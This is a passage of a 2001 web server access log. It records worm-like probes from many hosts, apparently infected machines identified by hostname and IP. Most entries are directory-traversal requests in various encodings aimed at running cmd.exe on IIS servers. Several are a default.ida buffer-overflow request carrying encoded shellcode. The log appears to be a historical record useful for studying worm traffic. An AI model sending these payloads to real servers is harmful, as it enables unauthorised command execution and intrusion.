  6494. 20010918 20:56:16: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6495. 20010918 20:56:17: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6496. 20010918 20:56:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6497. 20010918 20:56:52: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6498. 20010918 20:56:52: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6499. 20010918 20:56:52: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6500. 20010918 20:56:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6501. 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6502. 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6503. 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6504. 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6505. 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6506. 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6507. 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6508. 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6509. 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6510. 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6511. 20010918 20:56:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6512. 20010918 20:56:53:  [61.140.24.131] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6513. 20010918 20:59:33:  [61.140.24.131] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6514. 20010918 20:59:54:  [61.140.24.131] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6515. 20010918 21:00:15:  [61.140.24.131] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6516. 20010918 21:00:37:  [61.140.24.131] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6517. 20010918 21:01:00: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  6518. 20010918 21:01:47: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6519. 20010918 21:02:48: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6520. 20010918 21:02:52: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6521. 20010918 21:02:53: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6522. 20010918 21:02:54: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6523. 20010918 21:02:55: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6524. 20010918 21:02:56: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6525. 20010918 21:02:56: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6526. 20010918 21:02:57: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6527. 20010918 21:02:58: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6528. 20010918 21:02:59: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6529. 20010918 21:03:00: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6530. 20010918 21:03:01: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6531. 20010918 21:03:02: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6532. 20010918 21:03:03: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6533. 20010918 21:03:04: pc165-54.law.unimelb.edu.au [128.250.165.54] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6534. 20010918 21:03:04: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6535. 20010918 21:03:24: libr-968.dhcp.umass.edu [128.119.171.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6536. 20010918 21:03:24: libr-968.dhcp.umass.edu [128.119.171.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6537. 20010918 21:03:28: libr-968.dhcp.umass.edu [128.119.171.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6538. 20010918 21:03:28: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6539. 20010918 21:03:29: libr-968.dhcp.umass.edu [128.119.171.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6540. 20010918 21:03:29: libr-968.dhcp.umass.edu [128.119.171.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6541. 20010918 21:03:30: libr-968.dhcp.umass.edu [128.119.171.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6542. 20010918 21:03:30: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6543. 20010918 21:03:31: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6544. 20010918 21:03:31: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6545. 20010918 21:03:35: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6546. 20010918 21:03:35: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6547. 20010918 21:03:39: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6548. 20010918 21:03:40: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6549. 20010918 21:03:40: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6550. 20010918 21:03:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6551. 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6552. 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6553. 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6554. 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6555. 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6556. 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6557. 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6558. 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6559. 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6560. 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6561. 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6562. 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6563. 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6564. 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6565. 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6566. 20010918 21:05:58:  [202.88.140.52] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  6567. 20010918 21:06:34:  [203.236.98.230] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6568. 20010918 21:09:54:  [203.236.98.230] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6569. 20010918 21:10:13:  [203.236.98.230] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6570. 20010918 21:10:35:  [203.236.98.230] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6571. 20010918 21:10:54:  [203.236.98.230] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6572. 20010918 21:11:14:  [203.236.98.230] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6573. 20010918 21:11:34:  [203.236.98.230] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6574. 20010918 21:11:53: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6575. 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6576. 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6577. 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6578. 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6579. 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6580. 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6581. 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6582. 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6583. 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6584. 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6585. 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6586. 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6587. 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6588. 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6589. 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6590. 20010918 21:11:55:  [203.236.98.230] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6591. 20010918 21:12:16:  [203.236.98.230] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6592. 20010918 21:12:36:  [203.236.98.230] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6593. 20010918 21:12:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  6594. 20010918 21:12:58:  [203.236.98.230] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6595. 20010918 21:13:18:  [203.236.98.230] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6596. 20010918 21:13:38:  [203.236.98.230] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6597. 20010918 21:14:00:  [203.236.98.230] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6598. 20010918 21:14:20:  [203.236.98.230] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6599. 20010918 21:14:39:  [203.236.98.230] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6600. 20010918 21:14:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  6601. 20010918 21:16:35:  [128.97.191.168] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6602. 20010918 21:18:32:  [128.97.191.168] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6603. 20010918 21:18:50:  [128.97.191.168] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6604. 20010918 21:19:08:  [128.97.191.168] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6605. 20010918 21:19:27:  [128.97.191.168] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6606. 20010918 21:19:45:  [128.97.191.168] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6607. 20010918 21:20:04: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6608. 20010918 21:20:04:  [128.97.191.168] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6609. 20010918 21:20:22: gauntlet.westernunion.com [206.201.224.10] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6610. 20010918 21:20:22:  [128.97.191.168] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6611. 20010918 21:20:40: gauntlet.westernunion.com [206.201.224.10] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6612. 20010918 21:20:40:  [128.97.191.168] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6613. 20010918 21:20:59: gauntlet.westernunion.com [206.201.224.10] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6614. 20010918 21:20:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6615. 20010918 21:20:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6616. 20010918 21:20:59:  [128.97.191.168] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6617. 20010918 21:21:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6618. 20010918 21:21:17: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6619. 20010918 21:21:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6620. 20010918 21:21:17:  [128.97.191.168] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6621. 20010918 21:21:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6622. 20010918 21:21:36: gauntlet.westernunion.com [206.201.224.10] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6623. 20010918 21:21:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6624. 20010918 21:21:36:  [128.97.191.168] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6625. 20010918 21:21:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6626. 20010918 21:21:54: gauntlet.westernunion.com [206.201.224.10] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6627. 20010918 21:21:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6628. 20010918 21:21:54:  [128.97.191.168] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6629. 20010918 21:22:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6630. 20010918 21:22:12: gauntlet.westernunion.com [206.201.224.10] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6631. 20010918 21:22:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6632. 20010918 21:22:13:  [128.97.191.168] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6633. 20010918 21:22:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6634. 20010918 21:22:31: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6635. 20010918 21:22:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6636. 20010918 21:22:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6637. 20010918 21:22:31:  [128.97.191.168] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6638. 20010918 21:22:49: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6639. 20010918 21:22:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6640. 20010918 21:22:49: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6641. 20010918 21:22:49: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6642. 20010918 21:22:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6643. 20010918 21:22:50:  [128.97.191.168] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6644. 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6645. 20010918 21:23:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6646. 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6647. 20010918 21:23:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6648. 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6649. 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6650. 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6651. 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6652. 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6653. 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6654. 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6655. 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6656. 20010918 21:23:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6657. 20010918 21:23:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6658. 20010918 21:23:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6659. 20010918 21:23:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6660. 20010918 21:24:27: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6661. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6662. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6663. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6664. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6665. 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
